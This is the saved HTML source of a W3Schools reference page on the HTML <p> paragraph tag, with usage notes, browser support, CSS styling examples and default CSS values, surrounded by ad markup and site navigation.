style="overflow:hidden;"> <!-- MainLeaderboard--> <!--<pre>main_leaderboard, all: [728,90][970,90][320,50][468,60]</pre>--> <div id="adngin-main_leaderboard-0" data-google-query-id="CJPA_sueqvcCFXiOSwUd2fYBLg"><div id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//main_leaderboard_1__container__" style="border: 0pt none;"><iframe id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//main_leaderboard_1" name="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//main_leaderboard_1" title="3rd party ad content" width="728" height="90" scrolling="no" marginwidth="0" marginheight="0" frameborder="0" role="region" aria-label="Advertisement" tabindex="0" srcdoc="" data-google-container-id="7" style="border: 0px; vertical-align: bottom;" data-load-complete="true"><div style="position: absolute; width: 0px; height: 0px; border: 0px; padding: 0px; margin: 0px; overflow: hidden;"><button></button><a href="https://yahoo.com"></a><input></div></iframe></div></div> <!-- adspace leaderboard --> </div> <h1>HTML <span class="color_h1"><p></span> Tag</h1> <div class="w3-clear w3-center nextprev"> <a class="w3-left w3-btn" href="tag_output.asp">❮<span class="w3-hide-small"> Previous</span></a> <a class="w3-btn" href="default.asp"><span class="w3-hide-small">Complete HTML </span>Reference</a> <a class="w3-right w3-btn" href="tag_param.asp"><span class="w3-hide-small">Next </span>❯</a> </div> <br> <div class="w3-example"> <h3>Example</h3> <p>A paragraph is marked up as follows:</p> <div class="w3-code notranslate htmlHigh"> <span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>p<span class="tagcolor" style="color:mediumblue">></span></span>This is some text in a paragraph.<span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>/p<span class="tagcolor" style="color:mediumblue">></span></span> </div> <a target="_blank" href="tryit.asp?filename=tryhtml_paragraphs1" class="w3-btn w3-margin-bottom">Try it Yourself »</a> </div> <p>More "Try it Yourself" examples below.</p> <hr> <h2>Definition and Usage</h2> <p>The <code class="w3-codespan"><p></code> tag defines a paragraph.</p> <p>Browsers automatically add a single blank line before and after each <code class="w3-codespan"><p></code> element.</p> <p><strong>Tip:</strong> Use CSS to <a href="/html/html_css.asp">style paragraphs</a>.</p> <hr> <h2>Browser Support</h2> <table class="browserref notranslate"> <tbody><tr> <th style="width:20%;font-size:16px;text-align:left;">Element</th> <th style="width:16%;" class="bsChrome" title="Chrome"></th> <th style="width:16%;" class="bsEdge" title="Internet Explorer / Edge"></th> <th style="width:16%;" class="bsFirefox" title="Firefox"></th> <th style="width:16%;" class="bsSafari" title="Safari"></th> <th style="width:16%;" class="bsOpera" title="Opera"></th> </tr><tr> <td style="text-align:left;"><p></td> <td>Yes</td> <td>Yes</td> <td>Yes</td> <td>Yes</td> <td>Yes</td> </tr> </tbody></table> <hr> <h2>Global Attributes</h2> <p>The <code class="w3-codespan"><p></code> tag also supports the <a href="ref_standardattributes.asp">Global Attributes in HTML</a>.</p> <hr> <h2>Event Attributes</h2> <p>The <code class="w3-codespan"><p></code> tag also supports the <a href="ref_eventattributes.asp">Event Attributes in HTML</a>.</p> <hr> <div id="midcontentadcontainer" style="overflow:auto;text-align:center"> <!-- MidContent --> <!-- <p class="adtext">Advertisement</p> --> <div id="adngin-mid_content-0" data-google-query-id="CKfs_8ueqvcCFXiOSwUd2fYBLg"><div id="sn_ad_label_adngin-mid_content-0" class="sn_ad_label" style="color:#000000;font-size:12px;margin:0;text-align:center;">ADVERTISEMENT</div><div id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//mid_content_1__container__" style="border: 0pt none; display: inline-block; width: 300px; height: 250px;"><iframe frameborder="0" src="https://56d0da6c34aaa471db22bb4266aac656.safeframe.googlesyndication.com/safeframe/1-0-38/html/container.html" id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//mid_content_1" title="3rd party ad content" name="" scrolling="no" marginwidth="0" marginheight="0" width="300" height="250" data-is-safeframe="true" sandbox="allow-forms allow-popups allow-popups-to-escape-sandbox allow-same-origin allow-scripts allow-top-navigation-by-user-activation" role="region" aria-label="Advertisement" tabindex="0" data-google-container-id="8" style="border: 0px; vertical-align: bottom;" data-load-complete="true"></iframe></div></div> </div> <hr> <h2>More Examples</h2> <div class="w3-example"> <h3>Example</h3> <p>Align text in a paragraph (with CSS):</p> <div class="w3-code notranslate htmlHigh"> <span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>p<span class="attributecolor" style="color:red"> style<span class="attributevaluecolor" style="color:mediumblue">="text-align:right"</span></span><span class="tagcolor" style="color:mediumblue">></span></span>This is some text in a paragraph.<span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>/p<span class="tagcolor" style="color:mediumblue">></span></span> </div> <a target="_blank" href="tryit.asp?filename=tryhtml_p_align_css" class="w3-btn w3-margin-bottom">Try it Yourself »</a> </div> <div class="w3-example"> <h3>Example</h3> <p>Style paragraphs with CSS:</p> <div class="w3-code notranslate htmlHigh"> <span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>html<span class="tagcolor" style="color:mediumblue">></span></span><br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>head<span class="tagcolor" style="color:mediumblue">></span></span><br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>style<span class="tagcolor" style="color:mediumblue">></span></span><span class="cssselectorcolor" style="color:brown"><br>p <span class="cssdelimitercolor" style="color:black">{</span><span class="csspropertycolor" style="color:red"><br> color<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> navy<span class="cssdelimitercolor" style="color:black">;</span></span><br> text-indent<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> 30px<span class="cssdelimitercolor" style="color:black">;</span></span><br> text-transform<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> uppercase<span class="cssdelimitercolor" style="color:black">;</span></span><br></span><span class="cssdelimitercolor" style="color:black">}</span><br></span><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>/style<span class="tagcolor" style="color:mediumblue">></span></span><br> <span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>/head<span class="tagcolor" style="color:mediumblue">></span></span><br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>body<span class="tagcolor" style="color:mediumblue">></span></span><br><br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>p<span class="tagcolor" style="color:mediumblue">></span></span>Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.<span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>/p<span class="tagcolor" style="color:mediumblue">></span></span><br><br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>/body<span class="tagcolor" style="color:mediumblue">></span></span><br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>/html<span class="tagcolor" style="color:mediumblue">></span></span> </div> <a target="_blank" href="tryit.asp?filename=tryhtml_p_style_css" class="w3-btn w3-margin-bottom">Try it Yourself »</a> </div> <div class="w3-example"> <h3>Example</h3> <p> More on paragraphs:</p> <div class="w3-code notranslate htmlHigh"> <span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>p<span class="tagcolor" style="color:mediumblue">></span></span><br>This paragraph<br>contains a lot of lines<br>in the source code,<br> but the browser <br>ignores it.<br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>/p<span class="tagcolor" style="color:mediumblue">></span></span> </div> <a target="_blank" href="tryit.asp?filename=tryhtml_paragraphs2" class="w3-btn w3-margin-bottom">Try it Yourself »</a> </div> <div class="w3-example"> <h3>Example</h3> <p>Poem problems in HTML:</p> <div class="w3-code notranslate htmlHigh"> <span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>p<span class="tagcolor" style="color:mediumblue">></span></span><br>My Bonnie lies over the ocean.<br>My Bonnie lies over the sea.<br>My Bonnie lies over the ocean.<br>Oh, bring back my Bonnie to me.<br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>/p<span class="tagcolor" style="color:mediumblue">></span></span> </div> <a target="_blank" href="tryit.asp?filename=tryhtml_poem" class="w3-btn w3-margin-bottom">Try it Yourself »</a> </div> <hr> <h2>Related Pages</h2> <p>HTML tutorial: <a href="/html/html_paragraphs.asp">HTML Paragraphs</a></p> <p>HTML DOM reference: <a href="/jsref/dom_obj_paragraph.asp">Paragraph Object</a></p> <hr> <h2>Default CSS Settings</h2> <p>Most browsers will display the <code class="w3-codespan"><p></code> element with the following default values:</p> <div class="w3-example"> <h3>Example</h3> <div class="w3-code notranslate cssHigh"><span class="cssselectorcolor" style="color:brown"> p <span class="cssdelimitercolor" style="color:black">{</span><span class="csspropertycolor" style="color:red"><br> display<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> block<span class="cssdelimitercolor" style="color:black">;</span></span><br> margin-top<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> 1em<span class="cssdelimitercolor" style="color:black">;</span></span><br> margin-bottom<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> 1em<span class="cssdelimitercolor" style="color:black">;</span></span><br> margin-left<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> 0<span class="cssdelimitercolor" style="color:black">;</span></span><br> margin-right<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> 0<span class="cssdelimitercolor" style="color:black">;</span></span><br></span><span class="cssdelimitercolor" style="color:black">}</span> </span></div> <a target="_blank" href="tryit.asp?filename=tryhtml_p_default_css" class="w3-btn w3-margin-bottom">Try it Yourself »</a> </div> <br> <br> <div class="w3-clear w3-center nextprev"> <a class="w3-left w3-btn" href="tag_output.asp">❮<span class="w3-hide-small"> Previous</span></a> <a class="w3-btn" href="default.asp"><span class="w3-hide-small">Complete HTML </span>Reference</a> <a class="w3-right w3-btn" href="tag_param.asp"><span class="w3-hide-small">Next </span>❯</a> </div> <div id="mypagediv2" style="position:relative;text-align:center;"></div> <br> </div> <div class="w3-col l2 m12" id="right"> <div class="sidesection"> <div id="skyscraper"> <div id="adngin-sidebar_top-0" data-google-query-id="CJXA_sueqvcCFXiOSwUd2fYBLg"><div id="sn_ad_label_adngin-sidebar_top-0" class="sn_ad_label" style="color:#000000;font-size:12px;margin:0;text-align:center;">ADVERTISEMENT</div><div id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//wide_skyscraper_1__container__" style="border: 0pt none;"><iframe id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//wide_skyscraper_1" name="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//wide_skyscraper_1" title="3rd party ad content" width="320" height="50" scrolling="no" marginwidth="0" marginheight="0" frameborder="0" role="region" aria-label="Advertisement" tabindex="0" srcdoc="" data-google-container-id="9" style="border: 0px; vertical-align: bottom;" data-load-complete="true"></iframe></div></div> </div> </div> <style> .ribbon-vid { font-size:12px; font-weight:bold; padding: 6px 20px; left:-20px; top:-10px; text-align: center; color:black; border-radius:25px; } </style> <div class="sidesection" id="video_sidesection"> <div class="w3-center" style="padding-bottom:7px"> <span class="ribbon-vid ws-yellow">NEW</span> </div> <p style="font-size: 14px;line-height: 1.5;font-family: Source Sans Pro;padding-left:4px;padding-right:4px;">We just launched<br>W3Schools videos</p> <a onclick="ga('send', 'event', 'Videos' , 'fromSidebar');" href="https://www.w3schools.com/videos/index.php" class="w3-hover-opacity"><img src="/images/htmlvideoad_footer.png" style="max-width:100%;padding:5px 10px 25px 10px" loading="lazy"></a> <a class="ws-button" style="font-size:16px;text-decoration: none !important;display: block !important; color:#FFC0C7!important; width: 100%; border-bottom-left-radius: 5px; border-bottom-right-radius: 5px; paxdding-top: 10px; padding-bottom: 20px; font-family: 'Source Sans Pro', sans-serif; text-align: center;" onclick="ga('send', 'event', 'Videos' , 'fromSidebar');" href="https://www.w3schools.com/videos/index.php">Explore now</a> </div> <div class="sidesection"> <h4><a href="/colors/colors_picker.asp">COLOR PICKER</a></h4> <a href="/colors/colors_picker.asp"> <img src="/images/colorpicker2000.png" alt="colorpicker" loading="lazy"> </a> </div> <div class="sidesection"> <!--<h4>LIKE US</h4>--> <div class="sharethis" style="visibility: visible;"> <a href="https://www.facebook.com/w3schoolscom/" target="_blank" title="Facebook"><span class="fa fa-facebook-square fa-2x"></span></a> <a href="https://www.instagram.com/w3schools.com_official/" target="_blank" title="Instagram"><span class="fa fa-instagram fa-2x"></span></a> <a href="https://www.linkedin.com/company/w3schools.com/" target="_blank" title="LinkedIn"><span class="fa fa-linkedin-square fa-2x"></span></a> <a href="https://discord.gg/6Z7UaRbUQM" target="_blank" title="Join the W3schools community on Discord"><span class="fa fa-discord fa-2x"></span></a> </div> </div> <!-- <div class="sidesection" style="border-radius:5px;color:#555;padding-top:1px;padding-bottom:8px;margin-left:auto;margin-right:auto;max-width:230px;background-color:#d4edda"> <p>Get your<br>certification today!</p> <a href="/cert/default.asp" target="_blank"> <img src="/images/w3certified_logo_250.png" style="margin:0 12px 20px 10px;max-width:80%"> </a> <a class="w3-btn w3-margin-bottom" style="text-decoration:none;border-radius:5px;" href="/cert/default.asp" target="_blank">View options</a> </div> --> <style> #courses_get_started_btn { text-decoration:none !important; background-color:#04AA6D; width:100%; border-bottom-left-radius:5px; border-bottom-right-radius:5px; padding-top:10px; padding-bottom:10px; font-family: 'Source Sans Pro', sans-serif; } #courses_get_started_btn:hover { background-color:#059862!important; } </style> <div id="internalCourses" class="sidesection"> <p style="font-size:18px;padding-left:2px;padding-right:2px;">Get certified<br>by completing<br>a course today!</p> <a href="https://courses.w3schools.com" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on courses banner in ads column');"> <div style="padding:0 20px 20px 20px"> <svg id="w3_cert_badge2" style="margin:auto;width:85%" data-name="w3_cert_badge2" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 300 300"><defs><style>.cls-1{fill:#04aa6b;}.cls-2{font-size:23px;}.cls-2,.cls-3,.cls-4{fill:#fff;}.cls-2,.cls-3{font-family:RobotoMono-Medium, Roboto Mono;font-weight:500;}.cls-3{font-size:20.08px;}</style></defs><circle class="cls-1" cx="150" cy="150" r="146.47" transform="translate(-62.13 150) rotate(-45)"></circle><text class="cls-2" transform="translate(93.54 63.89) rotate(-29.5)">w</text><text class="cls-2" transform="translate(107.13 56.35) rotate(-20.8)">3</text><text class="cls-2" transform="matrix(0.98, -0.21, 0.21, 0.98, 121.68, 50.97)">s</text><text class="cls-2" transform="translate(136.89 47.84) rotate(-3.47)">c</text><text class="cls-2" transform="translate(152.39 47.03) rotate(5.12)">h</text><text class="cls-2" transform="translate(167.85 48.54) rotate(13.72)">o</text><text class="cls-2" transform="translate(182.89 52.35) rotate(22.34)">o</text><text class="cls-2" transform="matrix(0.86, 0.52, -0.52, 0.86, 197.18, 58.36)">l</text><text class="cls-2" transform="matrix(0.77, 0.64, -0.64, 0.77, 210.4, 66.46)">s</text><text class="cls-3" transform="translate(35.51 186.66) rotate(69.37)"> </text><text class="cls-3" transform="matrix(0.47, 0.88, -0.88, 0.47, 41.27, 201.28)">C</text><text class="cls-3" transform="matrix(0.58, 0.81, -0.81, 0.58, 48.91, 215.03)">E</text><text class="cls-3" transform="matrix(0.67, 0.74, -0.74, 0.67, 58.13, 227.36)">R</text><text class="cls-3" transform="translate(69.16 238.92) rotate(39.44)">T</text><text class="cls-3" transform="matrix(0.85, 0.53, -0.53, 0.85, 81.47, 248.73)">I</text><text class="cls-3" transform="translate(94.94 256.83) rotate(24.36)">F</text><text class="cls-3" transform="translate(109.34 263.09) rotate(16.83)">I</text><text class="cls-3" transform="translate(124.46 267.41) rotate(9.34)">E</text><text class="cls-3" transform="translate(139.99 269.73) rotate(1.88)">D</text><text class="cls-3" transform="translate(155.7 270.01) rotate(-5.58)"> </text><text class="cls-3" transform="translate(171.32 268.24) rotate(-13.06)"> </text><text class="cls-2" transform="translate(187.55 266.81) rotate(-21.04)">.</text><text class="cls-3" transform="translate(203.27 257.7) rotate(-29.24)"> </text><text class="cls-3" transform="translate(216.84 249.83) rotate(-36.75)"> </text><text class="cls-3" transform="translate(229.26 240.26) rotate(-44.15)">2</text><text class="cls-3" transform="translate(240.39 229.13) rotate(-51.62)">0</text><text class="cls-3" transform="translate(249.97 216.63) rotate(-59.17)">2</text><text class="cls-3" transform="matrix(0.4, -0.92, 0.92, 0.4, 257.81, 203.04)">2</text><path class="cls-4" d="M196.64,136.31s3.53,3.8,8.5,3.8c3.9,0,6.75-2.37,6.75-5.59,0-4-3.64-5.81-8-5.81h-2.59l-1.53-3.48,6.86-8.13a34.07,34.07,0,0,1,2.7-2.85s-1.11,0-3.33,0H194.79v-5.86H217.7v4.28l-9.19,10.61c5.18.74,10.24,4.43,10.24,10.92s-4.85,12.3-13.19,12.3a17.36,17.36,0,0,1-12.41-5Z"></path><path class="cls-4" d="M152,144.24l30.24,53.86,14.94-26.61L168.6,120.63H135.36l-13.78,24.53-13.77-24.53H77.93l43.5,77.46.15-.28.16.28Z"></path></svg> </div> </a> <a class="w3-btn" id="courses_get_started_btn" href="https://courses.w3schools.com" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on courses banner in ads column');">Get started</a> </div> <!-- <div class="sidesection" style="margin-left:auto;margin-right:auto;max-width:230px"> <a href="https://shop.w3schools.com/" target="_blank" title="Buy W3Schools Merchandize"> <img src="/images/tshirt.jpg" style="max-width:100%;"> </a> </div> --> <div class="sidesection" id="moreAboutSubject"> </div> <!-- <div id="sidesection_exercise" class="sidesection" style="background-color:#555555;max-width:200px;margin:auto;margin-bottom:32px"> <div class="w3-container w3-text-white"> <h4>Exercises</h4> </div> <div> <div class="w3-light-grey"> <a target="_blank" href="/html/exercise.asp" style="padding-top:8px">HTML</a> <a target="_blank" href="/css/exercise.asp">CSS</a> <a target="_blank" href="/js/exercise_js.asp">JavaScript</a> <a target="_blank" href="/sql/exercise.asp">SQL</a> <a target="_blank" href="/php/exercise.asp">PHP</a> <a target="_blank" href="/python/exercise.asp">Python</a> <a target="_blank" href="/bootstrap/exercise_bs3.asp">Bootstrap</a> <a target="_blank" href="/jquery/exercise_jq.asp" style="padding-bottom:8px">jQuery</a> </div> </div> </div> --> <div class="sidesection codegameright ws-turquoise" style="font-size:18px;font-family: 'Source Sans Pro', sans-serif;border-radius:5px;color:#FFC0C7;padding-top:12px;margin-left:auto;margin-right:auto;max-width:230px;"> <style> .codegameright .w3-btn:link,.codegameright .w3-btn:visited { background-color:#04AA6D; border-radius:5px; } .codegameright .w3-btn:hover,.codegameright .w3-btn:active { background-color:#059862!important; text-decoration:none!important; } </style> <h4><a href="/codegame/index.html" class="w3-hover-text-black">CODE GAME</a></h4> <a href="/codegame/index.html" target="_blank" class="w3-hover-opacity"><img style="max-width:100%;margin:16px 0;" src="/images/w3lynx_200.png" alt="Code Game" loading="lazy"></a> <a class="w3-btn w3-block ws-black" href="/codegame/index.html" target="_blank" style="padding-top:10px;padding-bottom:10px;margin-top:12px;border-top-left-radius: 0;border-top-right-radius: 0">Play Game</a> </div> <!-- <div class="sidesection w3-light-grey" style="margin-left:auto;margin-right:auto;max-width:230px"> <div class="w3-container w3-dark-grey"> <h4><a href="/howto/default.asp" class="w3-hover-text-white">HOW TO</a></h4> </div> <div class="w3-container w3-left-align w3-padding-16"> <a href="/howto/howto_js_tabs.asp">Tabs</a><br> <a href="/howto/howto_css_dropdown.asp">Dropdowns</a><br> <a href="/howto/howto_js_accordion.asp">Accordions</a><br> <a href="/howto/howto_js_sidenav.asp">Side Navigation</a><br> <a href="/howto/howto_js_topnav.asp">Top Navigation</a><br> <a href="/howto/howto_css_modals.asp">Modal Boxes</a><br> <a href="/howto/howto_js_progressbar.asp">Progress Bars</a><br> <a href="/howto/howto_css_parallax.asp">Parallax</a><br> <a href="/howto/howto_css_login_form.asp">Login Form</a><br> <a href="/howto/howto_html_include.asp">HTML Includes</a><br> <a href="/howto/howto_google_maps.asp">Google Maps</a><br> <a href="/howto/howto_js_rangeslider.asp">Range Sliders</a><br> <a href="/howto/howto_css_tooltip.asp">Tooltips</a><br> <a href="/howto/howto_js_slideshow.asp">Slideshow</a><br> <a href="/howto/howto_js_sort_list.asp">Sort List</a><br> </div> </div> --> <!-- <div class="sidesection w3-round" style="margin-left:auto;margin-right:auto;max-width:230px"> <div class="w3-container ws-black" style="border-top-right-radius:5px;border-top-left-radius:5px;"> <h5><a href="/cert/default.asp" class="w3-hover-text-white">Certificates</a></h5> </div> <div class="w3-border" style="border-bottom-right-radius:5px;border-bottom-left-radius:5px;"> <a href="/cert/cert_html.asp" class="w3-button ws-grey w3-block w3-border-bottom" style="text-decoration:none">HTML</a> <a href="/cert/cert_css.asp" class="w3-button ws-grey w3-block w3-border-bottom" style="text-decoration:none">CSS</a> <a href="/cert/cert_javascript.asp" class="w3-button ws-grey w3-block w3-border-bottom" style="text-decoration:none">JavaScript</a> <a href="/cert/cert_frontend.asp" class="w3-button ws-grey w3-block w3-border-bottom" style="text-decoration:none">Front End</a> <a href="/cert/cert_python.asp" class="w3-button ws-grey w3-block w3-border-bottom" style="text-decoration:none">Python</a> <a href="/cert/cert_sql.asp" class="w3-button ws-grey w3-block w3-border-bottom" style="text-decoration:none">SQL</a> <a href="/cert/default.asp" class="w3-button ws-grey w3-block" style="text-decoration:none;">And more</a> </div> </div> --> <div id="stickypos" class="sidesection" style="text-align:center;position:sticky;top:50px;"> <div id="stickyadcontainer" style="width: 653.984px;"> <div style="position:relative;margin:auto;"> <div id="adngin-sidebar_sticky-0-stickypointer" style=""><div id="adngin-sidebar_sticky-0" style=""><div id="sn_ad_label_adngin-sidebar_sticky-0" class="sn_ad_label" style="color:#000000;font-size:12px;margin:0;text-align:center;">ADVERTISEMENT</div></div></div> <script> function secondSnigel() { if(window.adngin && window.adngin.adnginLoaderReady) { if (Number(w3_getStyleValue(document.getElementById("main"), "height").replace("px", "")) > 2200) { if (document.getElementById("adngin-mid_content-0")) { adngin.queue.push(function(){ adngin.cmd.startAuction(["sidebar_sticky", "mid_content" ]); }); } else { adngin.queue.push(function(){ adngin.cmd.startAuction(["sidebar_sticky"]); }); } } else { if (document.getElementById("adngin-mid_content-0")) { adngin.queue.push(function(){ adngin.cmd.startAuction(["mid_content"]); }); } } } else { window.addEventListener('adnginLoaderReady', function() { if (Number(w3_getStyleValue(document.getElementById("main"), "height").replace("px", "")) > 2200) { if (document.getElementById("adngin-mid_content-0")) { adngin.queue.push(function(){ adngin.cmd.startAuction(["sidebar_sticky", "mid_content" ]); }); } else { adngin.queue.push(function(){ adngin.cmd.startAuction(["sidebar_sticky"]); }); } } else { if (document.getElementById("adngin-mid_content-0")) { adngin.queue.push(function(){ adngin.cmd.startAuction(["mid_content"]); }); } } }); } } </script> </div> </div> </div> <script> uic_r_c() </script> </div> </div> <div id="footer" class="footer w3-container w3-white"> <hr> <div style="overflow:auto"> <div class="bottomad"> <!-- BottomMediumRectangle --> <!--<pre>bottom_medium_rectangle, all: [970,250][300,250][336,280]</pre>--> <div id="adngin-bottom_left-0" style="padding:0 10px 10px 0;float:left;width:auto;" data-google-query-id="CJbA_sueqvcCFXiOSwUd2fYBLg"><div id="sn_ad_label_adngin-bottom_left-0" class="sn_ad_label" style="color:#000000;font-size:12px;margin:0;text-align:center;">ADVERTISEMENT</div><div id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//bottom_medium_rectangle_1__container__" style="border: 0pt none;"><iframe id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//bottom_medium_rectangle_1" name="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//bottom_medium_rectangle_1" title="3rd party ad content" width="300" height="250" scrolling="no" marginwidth="0" marginheight="0" frameborder="0" role="region" aria-label="Advertisement" tabindex="0" srcdoc="" data-google-container-id="a" style="border: 0px; vertical-align: bottom;" data-load-complete="true"></iframe></div></div> <!-- adspace bmr --> <!-- RightBottomMediumRectangle --> <!--<pre>right_bottom_medium_rectangle, desktop: [300,250][336,280]</pre>--> <div id="adngin-bottom_right-0" style="padding:0 10px 10px 0;float:left;width:auto;"><div id="sn_ad_label_adngin-bottom_right-0" class="sn_ad_label" style="color:#000000;font-size:12px;margin:0;text-align:center;">ADVERTISEMENT</div></div> </div> </div> <hr> <div class="w3-row-padding w3-center w3-small" style="margin:0 -16px;"> <div class="w3-col l3 m3 s12"> <a class="w3-button ws-grey ws-hover-black w3-block w3-round" href="javascript:void(0);" onclick="displayError();return false" style="white-space:nowrap;text-decoration:none;margin-top:1px;margin-bottom:1px;font-size:15px;">Report Error</a> </div> <!-- <div class="w3-col l3 m3 s12"> <a class="w3-button w3-light-grey w3-block" href="javascript:void(0);" target="_blank" onclick="printPage();return false;" style="text-decoration:none;margin-top:1px;margin-bottom:1px">PRINT PAGE</a> </div> --> <div class="w3-col l3 m3 s12"> <a class="w3-button ws-grey ws-hover-black w3-block w3-round" href="/forum/default.asp" target="_blank" style="text-decoration:none;margin-top:1px;margin-bottom:1px;font-size:15px">Forum</a> </div> <div class="w3-col l3 m3 s12"> <a class="w3-button ws-grey ws-hover-black w3-block w3-round" href="/about/default.asp" target="_top" style="text-decoration:none;margin-top:1px;margin-bottom:1px;font-size:15px">About</a> </div> <div class="w3-col l3 m3 s12"> <a class="w3-button ws-grey ws-hover-black w3-block w3-round" href="https://shop.w3schools.com/" target="_blank" style="text-decoration:none;margin-top:1px;margin-bottom:1px;font-size:15px">Shop</a> </div> </div> <hr> <div class="ws-grey w3-padding w3-margin-bottom" id="err_form" style="display:none;position:relative"> <span onclick="this.parentElement.style.display='none'" class="w3-button w3-display-topright w3-large">×</span> <h2>Report Error</h2> <p>If you want to report an error, or if you want to make a suggestion, do not hesitate to send us an e-mail:</p> <p>help@w3schools.com</p> <br> <!-- <h2>Your Suggestion:</h2> <form> <div class="w3-section"> <label for="err_email">Your E-mail:</label> <input class="w3-input w3-border" type="text" style="margin-top:5px;width:100%" id="err_email" name="err_email"> </div> <div class="w3-section"> <label for="err_email">Page address:</label> <input class="w3-input w3-border" type="text" style="width:100%;margin-top:5px" id="err_url" name="err_url" disabled="disabled"> </div> <div class="w3-section"> <label for="err_email">Description:</label> <textarea rows="10" class="w3-input w3-border" id="err_desc" name="err_desc" style="width:100%;margin-top:5px;resize:vertical;"></textarea> </div> <div class="form-group"> <button type="button" class="w3-button w3-dark-grey" onclick="sendErr()">Submit</button> </div> <br> </form> --> </div> <div class="w3-container ws-grey w3-padding" id="err_sent" style="display:none;position:relative"> <span onclick="this.parentElement.style.display='none'" class="w3-button w3-display-topright">×</span> <h2>Thank You For Helping Us!</h2> <p>Your message has been sent to W3Schools.</p> </div> <div class="w3-row w3-center w3-small"> <div class="w3-col l3 m6 s12"> <div class="top10"> <h5 style="font-family: 'Source Sans Pro', sans-serif;">Top Tutorials</h5> <a href="/html/default.asp">HTML Tutorial</a><br> <a href="/css/default.asp">CSS Tutorial</a><br> <a href="/js/default.asp">JavaScript Tutorial</a><br> <a href="/howto/default.asp">How To Tutorial</a><br> <a href="/sql/default.asp">SQL Tutorial</a><br> <a href="/python/default.asp">Python Tutorial</a><br> <a href="/w3css/default.asp">W3.CSS Tutorial</a><br> <a href="/bootstrap/bootstrap_ver.asp">Bootstrap Tutorial</a><br> <a href="/php/default.asp">PHP Tutorial</a><br> <a href="/java/default.asp">Java Tutorial</a><br> <a href="/cpp/default.asp">C++ Tutorial</a><br> <a href="/jquery/default.asp">jQuery Tutorial</a><br> </div> </div> <div class="w3-col l3 m6 s12"> <div class="top10"> <h5 style="font-family: 'Source Sans Pro', sans-serif;">Top References</h5> <a href="/tags/default.asp">HTML Reference</a><br> <a href="/cssref/default.asp">CSS Reference</a><br> <a href="/jsref/default.asp">JavaScript Reference</a><br> <a href="/sql/sql_ref_keywords.asp">SQL Reference</a><br> <a href="/python/python_reference.asp">Python Reference</a><br> <a href="/w3css/w3css_references.asp">W3.CSS Reference</a><br> <a href="/bootstrap/bootstrap_ref_all_classes.asp">Bootstrap Reference</a><br> <a href="/php/php_ref_overview.asp">PHP Reference</a><br> <a href="/colors/colors_names.asp">HTML Colors</a><br> <a href="/java/java_ref_keywords.asp">Java Reference</a><br> <a href="/angular/angular_ref_directives.asp">Angular Reference</a><br> <a href="/jquery/jquery_ref_overview.asp">jQuery Reference</a><br> </div> </div> <div class="w3-col l3 m6 s12"> <div class="top10"> <h5 style="font-family: 'Source Sans Pro', sans-serif;">Top Examples</h5> <a href="/html/html_examples.asp">HTML Examples</a><br> <a href="/css/css_examples.asp">CSS Examples</a><br> <a href="/js/js_examples.asp">JavaScript Examples</a><br> <a href="/howto/default.asp">How To Examples</a><br> <a href="/sql/sql_examples.asp">SQL Examples</a><br> <a href="/python/python_examples.asp">Python Examples</a><br> <a href="/w3css/w3css_examples.asp">W3.CSS Examples</a><br> <a href="/bootstrap/bootstrap_examples.asp">Bootstrap Examples</a><br> <a href="/php/php_examples.asp">PHP 